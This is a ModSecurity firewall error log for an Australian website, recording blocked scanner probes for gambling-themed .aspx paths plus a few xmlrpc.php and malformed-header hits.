[Sat Feb 14 16:22:45.746994 2026] [:error] [pid 63325:tid 63338] [client 54.37.84.47:42566] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZAw1QGMleU5keYIEc55JAAAAIk"]
[Sat Feb 14 16:22:48.185979 2026] [:error] [pid 21195:tid 21241] [client 54.37.84.47:34894] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZAw2N_2sARdLQ6dpsWxkwAAAEo"]
[Sat Feb 14 16:22:50.728080 2026] [:error] [pid 35135:tid 35147] [client 54.37.84.47:34910] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZAw2okSccJZYMDP04wPpQAAAQk"]
[Sat Feb 14 16:22:53.219825 2026] [:error] [pid 28883:tid 28928] [client 54.37.84.47:34918] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZAw3WBZFo3PsPpATCzBOgAAApA"]
[Sat Feb 14 16:22:55.686702 2026] [:error] [pid 21195:tid 21246] [client 54.37.84.47:34932] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZAw39_2sARdLQ6dpsWxlwAAAE8"]
[Sat Feb 14 16:22:58.053170 2026] [:error] [pid 35193:tid 35222] [client 54.37.84.47:53100] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZAw4s7okn8Vvg54roS43AAAAlc"]
[Sat Feb 14 17:58:53.237968 2026] [:error] [pid 56720:tid 56781] [client 103.214.61.25:54624] [client 103.214.61.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.214.61.25, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBHXXjg3vzUoXJ19eADNQAAA8Q"]
[Sat Feb 14 19:01:39.860119 2026] [:error] [pid 8274:tid 8299] [client 49.51.178.45:41044] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZBWE7UW6xok4sn7YUm6ywAAAVM"]
[Sat Feb 14 20:14:39.195157 2026] [:error] [pid 50339:tid 50387] [client 43.153.104.196:44804] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZBnL8I6TclQ9GOl2Y1vHQAAAhE"]
[Sun Feb 15 02:43:12.002877 2026] [:error] [pid 43767:tid 43854] [client 193.70.33.35:48840] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZDCQPWe69hyh5fD07iZjAAAAVI"]
[Sun Feb 15 02:43:14.443815 2026] [:error] [pid 53980:tid 54027] [client 193.70.33.35:47504] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZDCQtposYBT7xU8oxT8UgAAAtE"]
[Sun Feb 15 02:43:16.883922 2026] [:error] [pid 43945:tid 44111] [client 193.70.33.35:37992] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZDCRAOG1NkcLbix8XUBoQAAAgw"]
[Sun Feb 15 02:43:19.242969 2026] [:error] [pid 27914:tid 27933] [client 193.70.33.35:38000] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZDCR2g-VFWLX9KNz8gMFAAAA04"]
[Sun Feb 15 02:43:21.671646 2026] [:error] [pid 43767:tid 43855] [client 193.70.33.35:38016] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZDCSfWe69hyh5fD07iZjgAAAVM"]
[Sun Feb 15 02:43:24.070598 2026] [:error] [pid 53980:tid 54014] [client 193.70.33.35:38022] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZDCTNposYBT7xU8oxT8XAAAAsQ"]
[Sun Feb 15 02:43:26.470435 2026] [:error] [pid 43767:tid 43837] [client 193.70.33.35:54186] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZDCTvWe69hyh5fD07iZkwAAAUE"]
[Sun Feb 15 02:43:29.021176 2026] [:error] [pid 43767:tid 43838] [client 193.70.33.35:54192] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZDCUfWe69hyh5fD07iZlQAAAUI"]
[Sun Feb 15 02:43:31.409603 2026] [:error] [pid 27826:tid 27851] [client 193.70.33.35:54198] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZDCU3_xMalPt3dvDTEDFAAAAJc"]
[Sun Feb 15 02:43:33.822729 2026] [:error] [pid 28511:tid 28528] [client 193.70.33.35:54210] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZDCVRZ3wyYJRs97ghp2ZAAAAQ4"]
[Sun Feb 15 02:43:36.390261 2026] [:error] [pid 28511:tid 28532] [client 193.70.33.35:40228] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZDCWBZ3wyYJRs97ghp2awAAARI"]
[Sun Feb 15 02:43:38.645802 2026] [:error] [pid 28511:tid 28538] [client 193.70.33.35:40242] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZDCWhZ3wyYJRs97ghp2bwAAARg"]
[Sun Feb 15 02:43:41.184921 2026] [:error] [pid 53980:tid 54030] [client 193.70.33.35:40252] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZDCXdposYBT7xU8oxT8cgAAAtQ"]
[Sun Feb 15 02:43:43.645274 2026] [:error] [pid 27857:tid 27905] [client 193.70.33.35:40262] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZDCX-kzAtElXai-Nn8UlAAAAxM"]
[Sun Feb 15 02:43:46.193133 2026] [:error] [pid 27826:tid 27842] [client 193.70.33.35:41652] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZDCYn_xMalPt3dvDTEDJgAAAI4"]
[Sun Feb 15 02:43:48.766069 2026] [:error] [pid 27914:tid 27942] [client 193.70.33.35:41664] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZDCZGg-VFWLX9KNz8gMIwAAA1c"]
[Sun Feb 15 02:43:51.309989 2026] [:error] [pid 15954:tid 16007] [client 193.70.33.35:41676] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZDCZ-2YplA3pz7MAbWUeQAAAdY"]
[Sun Feb 15 02:43:53.739090 2026] [:error] [pid 43945:tid 44117] [client 193.70.33.35:41680] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZDCaQOG1NkcLbix8XUBvAAAAg8"]
[Sun Feb 15 02:43:56.268530 2026] [:error] [pid 15954:tid 16008] [client 193.70.33.35:52820] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZDCbO2YplA3pz7MAbWUfQAAAdc"]
[Sun Feb 15 02:43:58.771333 2026] [:error] [pid 43945:tid 44106] [client 193.70.33.35:52832] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZDCbgOG1NkcLbix8XUBvwAAAgc"]
[Sun Feb 15 02:44:01.281130 2026] [:error] [pid 18113:tid 18122] [client 193.70.33.35:52836] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZDCcbtXQ3sVVSAsCgi4SAAAAkY"]
[Sun Feb 15 02:44:03.764349 2026] [:error] [pid 27857:tid 27901] [client 193.70.33.35:52848] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZDCc-kzAtElXai-Nn8UuAAAAw8"]
[Sun Feb 15 02:44:06.291017 2026] [:error] [pid 27856:tid 27882] [client 193.70.33.35:39836] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZDCdjJpKS0cu-96viCwXgAAApc"]
[Sun Feb 15 02:44:08.796411 2026] [:error] [pid 43767:tid 43837] [client 193.70.33.35:39838] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZDCePWe69hyh5fD07iZ0wAAAUE"]
[Sun Feb 15 02:44:29.828229 2026] [:error] [pid 27914:tid 27937] [client 193.70.33.35:39850] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZDCjWg-VFWLX9KNz8gMSAAAA1I"]
[Sun Feb 15 02:44:32.128729 2026] [:error] [pid 15954:tid 16002] [client 193.70.33.35:54508] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZDCkO2YplA3pz7MAbWUlQAAAdI"]
[Sun Feb 15 02:44:34.634061 2026] [:error] [pid 43767:tid 43840] [client 193.70.33.35:54510] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZDCkvWe69hyh5fD07iZ7wAAAUQ"]
[Sun Feb 15 02:44:37.116207 2026] [:error] [pid 27914:tid 27938] [client 193.70.33.35:51132] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZDClWg-VFWLX9KNz8gMSgAAA1M"]
[Sun Feb 15 02:44:39.623253 2026] [:error] [pid 18113:tid 18119] [client 193.70.33.35:51148] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZDCl7tXQ3sVVSAsCgi4ZAAAAkM"]
[Sun Feb 15 02:44:41.960229 2026] [:error] [pid 43945:tid 44109] [client 193.70.33.35:51156] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZDCmQOG1NkcLbix8XUB3gAAAgo"]
[Sun Feb 15 02:44:44.471362 2026] [:error] [pid 28511:tid 28523] [client 193.70.33.35:51162] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZDCnBZ3wyYJRs97ghp2pwAAAQk"]
[Sun Feb 15 02:44:46.935325 2026] [:error] [pid 27914:tid 27937] [client 193.70.33.35:36040] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZDCnmg-VFWLX9KNz8gMUwAAA1I"]
[Sun Feb 15 02:44:49.457033 2026] [:error] [pid 28511:tid 28515] [client 193.70.33.35:36046] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZDCoRZ3wyYJRs97ghp2rAAAAQE"]
[Sun Feb 15 02:44:51.980238 2026] [:error] [pid 43767:tid 43836] [client 193.70.33.35:36052] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZDCo_We69hyh5fD07iaAQAAAUA"]
[Sun Feb 15 02:44:54.455548 2026] [:error] [pid 53980:tid 54030] [client 193.70.33.35:36064] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZDCptposYBT7xU8oxT8uwAAAtQ"]
[Sun Feb 15 02:44:56.961389 2026] [:error] [pid 15954:tid 15992] [client 193.70.33.35:41870] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZDCqO2YplA3pz7MAbWUmwAAAcg"]
[Sun Feb 15 02:44:59.301661 2026] [:error] [pid 43767:tid 43847] [client 193.70.33.35:41874] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZDCq_We69hyh5fD07iaDAAAAUs"]
[Sun Feb 15 02:45:01.792664 2026] [:error] [pid 43767:tid 43841] [client 193.70.33.35:41876] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZDCrfWe69hyh5fD07iaGAAAAUU"]
[Sun Feb 15 02:45:04.301661 2026] [:error] [pid 27826:tid 27851] [client 193.70.33.35:41882] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZDCsH_xMalPt3dvDTEDZwAAAJc"]
[Sun Feb 15 02:45:06.768494 2026] [:error] [pid 27826:tid 27831] [client 193.70.33.35:40356] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZDCsn_xMalPt3dvDTEDbgAAAIM"]
[Sun Feb 15 02:45:09.106010 2026] [:error] [pid 27826:tid 27837] [client 193.70.33.35:40368] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZDCtX_xMalPt3dvDTEDcwAAAIk"]
[Sun Feb 15 02:45:11.602640 2026] [:error] [pid 53980:tid 54013] [client 193.70.33.35:40372] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZDCt9posYBT7xU8oxT8xgAAAsM"]
[Sun Feb 15 02:45:14.113162 2026] [:error] [pid 43767:tid 43846] [client 193.70.33.35:40378] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZDCuvWe69hyh5fD07iaIQAAAUo"]
[Sun Feb 15 02:45:16.592008 2026] [:error] [pid 43767:tid 43843] [client 193.70.33.35:51840] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZDCvPWe69hyh5fD07iaJgAAAUc"]
[Sun Feb 15 02:45:18.921080 2026] [:error] [pid 43767:tid 43842] [client 193.70.33.35:51844] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZDCvvWe69hyh5fD07iaKAAAAUY"]
